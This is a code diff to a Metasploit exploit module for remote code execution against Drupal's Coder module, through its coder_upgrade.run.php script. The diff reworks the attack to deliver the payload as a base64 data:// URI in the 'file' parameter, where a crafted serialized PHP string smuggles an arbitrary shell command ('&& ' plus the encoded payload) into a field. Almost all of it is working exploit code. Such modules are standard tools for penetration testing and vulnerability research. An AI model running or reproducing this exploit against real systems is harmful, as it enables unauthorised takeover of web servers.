@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
- include Msf ::Exploit ::Remote ::HttpServer
11
10
12
11
def initialize ( info = { } )
13
12
super ( update_info ( info ,
@@ -27,7 +26,7 @@ def initialize(info={})
27
26
'License' => MSF_LICENSE ,
28
27
'Author' =>
29
28
[
30
- 'Nicky Bloor' , # discovery
29
+ 'Nicky Bloor <[email protected] >' , # discovery
31
30
'Mehmet Ince <[email protected] >' # msf module
32
31
] ,
33
32
'References' =>
@@ -55,9 +54,7 @@ def initialize(info={})
55
54
56
55
register_options (
57
56
[
58
- OptString . new ( 'TARGETURI' , [ true , 'The target URI of the Drupal installation' , '/' ] ) ,
59
- OptAddress . new ( 'SRVHOST' , [ true , 'Bogus web server host to receive request from target and deliver payload' ] ) ,
60
- OptPort . new ( 'SRVPORT' , [ true , 'Bogus web server port to listen' ] )
57
+ OptString . new ( 'TARGETURI' , [ true , 'The target URI of the Drupal installation' , '/' ] )
61
58
]
62
59
)
63
60
end
@@ -67,15 +64,14 @@ def check
67
64
'method' => 'GET' ,
68
65
'uri' => normalize_uri ( target_uri . path , 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php' ) ,
69
66
)
70
- if res && res . code == 200
67
+ if res && res . body . include? ( 'file parameter is not setNo path to parameter file' )
71
68
Exploit ::CheckCode ::Appears
72
69
else
73
70
Exploit ::CheckCode ::Safe
74
71
end
75
72
end
76
73
77
- def on_request_uri ( cli , _request )
78
- print_status ( "Incoming request detected..." )
74
+ def exploit
79
75
p = ''
80
76
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
81
77
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
@@ -88,20 +84,14 @@ def on_request_uri(cli, _request)
88
84
p << ':"f --help && '
89
85
p << payload . encoded
90
86
p << ' #";s:4:"name";s:4:"test";}}}'
91
- print_status ( "Sending payload..." )
92
- send_response ( cli , p )
93
- end
94
-
95
- def exploit
96
- start_service
87
+ payload = "data://text/plain;base64,#{ Rex ::Text . encode_base64 ( p ) } "
97
88
send_request_cgi (
98
89
'method' => 'GET' ,
99
90
'uri' => normalize_uri ( target_uri . path , 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php' ) ,
100
91
'encode_params' => false ,
101
92
'vars_get' => {
102
- 'file' => get_uri
93
+ 'file' => payload
103
94
}
104
95
)
105
- stop_service
106
96
end
107
97
end
0 commit comments